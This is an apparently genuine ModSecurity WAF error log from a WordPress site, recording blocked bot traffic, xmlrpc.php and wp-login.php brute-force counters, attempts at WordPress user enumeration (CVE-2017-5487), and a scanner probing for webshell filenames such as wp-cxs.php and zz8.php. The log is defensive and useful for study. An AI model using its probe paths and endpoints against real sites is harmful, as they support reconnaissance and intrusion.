[Sat Mar 28 10:25:43.060091 2026] [:error] [pid 64860:tid 64924] [client 182.43.70.143:51022] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acc8JxkU3N0pg_4aEL8mxQAAAFA"]
[Sat Mar 28 11:09:31.111572 2026] [:error] [pid 2877:tid 2898] [client 217.216.37.53:52411] [client 217.216.37.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acdGa7gM4xL1Xj409YTtIAAAARM"]
[Sat Mar 28 11:09:31.507746 2026] [:error] [pid 64859:tid 64899] [client 217.216.37.53:64206] [client 217.216.37.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "acdGa23qEBHXq3rHdBnFHAAAABI"]
[Sat Mar 28 11:09:31.719464 2026] [:error] [pid 64861:tid 64948] [client 217.216.37.53:59173] [client 217.216.37.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "acdGa-xK22_lUN2kvnWphAAAAI0"]
[Sat Mar 28 12:14:47.474863 2026] [:error] [pid 34631:tid 34661] [client 43.159.128.247:50458] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acdVtztzjMMS6kojpeSUnwAAAcE"]
[Sat Mar 28 12:58:04.015769 2026] [:error] [pid 64860:tid 64922] [client 43.135.144.81:54546] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acdf3BkU3N0pg_4aEL9SHQAAAE4"]
[Sat Mar 28 13:43:29.923379 2026] [:error] [pid 64859:tid 64899] [client 106.222.233.207:1112] [client 106.222.233.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.233.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acdqgW3qEBHXq3rHdBniUgAAABI"]
[Sat Mar 28 13:52:14.215941 2026] [:error] [pid 34631:tid 34667] [client 106.222.233.207:18512] [client 106.222.233.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acdsjjtzjMMS6kojpeS2dQAAAcc"]
[Sat Mar 28 13:54:06.132101 2026] [:error] [pid 64860:tid 64911] [client 106.222.233.207:5399] [client 106.222.233.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.233.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acds_hkU3N0pg_4aEL9dLwAAAEM"]
[Sat Mar 28 17:03:28.595772 2026] [:error] [pid 34631:tid 34682] [client 78.150.67.226:59826] [client 78.150.67.226] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aceZYDtzjMMS6kojpeT7swAAAdY"]
[Sat Mar 28 17:05:06.672221 2026] [:error] [pid 34631:tid 34665] [client 78.150.67.226:49805] [client 78.150.67.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.150.67.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aceZwjtzjMMS6kojpeT8vgAAAcU"]
[Sat Mar 28 17:06:35.313386 2026] [:error] [pid 64859:tid 64895] [client 78.150.67.226:49994] [client 78.150.67.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.150.67.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aceaG23qEBHXq3rHdBklhAAAAA4"]
[Sat Mar 28 17:08:06.814082 2026] [:error] [pid 34631:tid 34681] [client 78.150.67.226:51306] [client 78.150.67.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.150.67.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aceadjtzjMMS6kojpeT_YAAAAdU"]
[Sat Mar 28 17:58:48.711728 2026] [:error] [pid 64861:tid 64950] [client 43.135.186.135:38872] [client 43.135.186.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acemWOxK22_lUN2kvnUaDAAAAI8"]
[Sat Mar 28 18:27:31.391409 2026] [:error] [pid 34597:tid 34625] [client 43.153.36.110:56564] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acetE4luI7-e5s1cafeLcAAAAVg"]
[Sat Mar 28 20:23:08.594728 2026] [:error] [pid 64861:tid 64953] [client 185.191.206.79:64959] [client 185.191.206.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.191.206.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acfILOxK22_lUN2kvnVgrwAAAJI"]
[Sat Mar 28 20:23:15.787649 2026] [:error] [pid 64861:tid 64949] [client 185.191.206.79:49905] [client 185.191.206.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.191.206.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acfIM-xK22_lUN2kvnVgwQAAAI4"]
[Sat Mar 28 20:57:38.072136 2026] [:error] [pid 64861:tid 64941] [client 185.191.206.79:56445] [client 185.191.206.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.191.206.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acfQQuxK22_lUN2kvnVwawAAAIY"]
[Sat Mar 28 22:39:39.692805 2026] [:error] [pid 34631:tid 34678] [client 43.130.3.122:35854] [client 43.130.3.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acfoKztzjMMS6kojpeRyJQAAAdI"]
[Sat Mar 28 23:15:08.365314 2026] [:error] [pid 34631:tid 34677] [client 43.153.135.208:60586] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acfwfDtzjMMS6kojpeR8rwAAAdE"]
[Sat Mar 28 23:36:41.582720 2026] [:error] [pid 64861:tid 64957] [client 45.94.31.49:53074] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acf1iexK22_lUN2kvnWz2gAAAJY"]
[Sat Mar 28 23:36:42.293138 2026] [:error] [pid 64966:tid 64988] [client 45.94.31.49:63264] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acf1itfSvF5AFfSuKxVGwwAAAM8"]
[Sat Mar 28 23:36:43.155955 2026] [:error] [pid 2877:tid 2885] [client 45.94.31.49:57757] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acf1i7gM4xL1Xj409YQdoQAAAQY"]
[Sat Mar 28 23:36:43.954914 2026] [:error] [pid 34631:tid 34684] [client 45.94.31.49:60404] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acf1iztzjMMS6kojpeSEdgAAAdg"]
[Sat Mar 28 23:36:44.872627 2026] [:error] [pid 64861:tid 64940] [client 45.94.31.49:62370] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acf1jOxK22_lUN2kvnW0RgAAAIU"]
[Sun Mar 29 00:17:57.581690 2026] [:error] [pid 64860:tid 64909] [client 181.103.1.206:55181] [client 181.103.1.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.103.1.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acf_NRkU3N0pg_4aEL_FjgAAAEE"]
[Sun Mar 29 01:23:43.879616 2026] [authz_core:error] [pid 39428:tid 39471] [client 101.91.110.35:10619] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/readme.txt
[Sun Mar 29 01:26:25.296436 2026] [:error] [pid 39514:tid 39542] [client 182.44.8.254:44834] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acgPQSkUyvlQod6qQu2H9gAAANE"]
[Sun Mar 29 02:16:26.703534 2026] [:error] [pid 39428:tid 39473] [client 20.197.233.108:23267] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acga-qXMrozFMIaP8nIC2gAAAE4"]
[Sun Mar 29 02:16:27.329969 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:23291] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acga-3VrXSgLxlxLi9A6hAAAAQ0"]
[Sun Mar 29 02:16:27.947550 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:23243] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acga-3VrXSgLxlxLi9A6hwAAAQM"]
[Sun Mar 29 02:16:28.570163 2026] [:error] [pid 39427:tid 39451] [client 20.197.233.108:23050] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acga_FvLf0RDUqcYq-ZO9wAAABM"]
[Sun Mar 29 02:16:29.189714 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:23292] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acga_XVrXSgLxlxLi9A6igAAAQU"]
[Sun Mar 29 02:16:29.804873 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:23053] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acga_XVrXSgLxlxLi9A6jgAAARA"]
[Sun Mar 29 02:16:30.432505 2026] [:error] [pid 39429:tid 39486] [client 20.197.233.108:23255] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acga_k8pSj6sqgZaItnlXwAAAIA"]
[Sun Mar 29 02:16:31.048790 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:23060] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cxs.php"] [unique_id "acga_08pSj6sqgZaItnlYQAAAJE"]
[Sun Mar 29 02:16:31.668408 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:23286] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acga_3VrXSgLxlxLi9A6kwAAAQM"]
[Sun Mar 29 02:16:32.300424 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:23046] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acgbAHVrXSgLxlxLi9A6lQAAAQA"]
[Sun Mar 29 02:16:32.918582 2026] [:error] [pid 39429:tid 39487] [client 20.197.233.108:23095] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acgbAE8pSj6sqgZaItnlZAAAAIE"]
[Sun Mar 29 02:16:33.549473 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:23290] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acgbAU8pSj6sqgZaItnlZgAAAJI"]
[Sun Mar 29 02:16:34.167190 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:23052] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acgbAk8pSj6sqgZaItnlagAAAIQ"]
[Sun Mar 29 02:16:34.787083 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:23056] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acgbAnVrXSgLxlxLi9A6mgAAARI"]
[Sun Mar 29 02:16:35.403068 2026] [:error] [pid 39429:tid 39510] [client 20.197.233.108:23102] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acgbA08pSj6sqgZaItnlawAAAJg"]
[Sun Mar 29 02:16:36.022395 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:23236] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acgbBFvLf0RDUqcYq-ZO-QAAAAM"]
[Sun Mar 29 02:16:36.654690 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:23248] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acgbBCkUyvlQod6qQu2j-gAAANM"]
[Sun Mar 29 02:16:37.272848 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:22941] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acgbBSkUyvlQod6qQu2j-wAAAMQ"]
[Sun Mar 29 02:16:37.892312 2026] [:error] [pid 39514:tid 39546] [client 20.197.233.108:23273] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acgbBSkUyvlQod6qQu2j_QAAANU"]
[Sun Mar 29 02:16:38.508296 2026] [:error] [pid 39514:tid 39534] [client 20.197.233.108:23294] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acgbBikUyvlQod6qQu2kAAAAAMk"]
[Sun Mar 29 02:16:39.125957 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:22922] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "acgbB08pSj6sqgZaItnlcAAAAIY"]
[Sun Mar 29 02:16:39.746683 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:23293] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "acgbB3VrXSgLxlxLi9A6nQAAAQw"]
[Sun Mar 29 02:16:40.363957 2026] [:error] [pid 39514:tid 39532] [client 20.197.233.108:22920] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "acgbCCkUyvlQod6qQu2kBgAAAMc"]
[Sun Mar 29 02:16:40.979484 2026] [:error] [pid 39427:tid 39432] [client 20.197.233.108:23233] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "acgbCFvLf0RDUqcYq-ZO_gAAAAA"]
[Sun Mar 29 02:16:41.601522 2026] [:error] [pid 39428:tid 39481] [client 20.197.233.108:23055] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "acgbCaXMrozFMIaP8nIC4AAAAFY"]
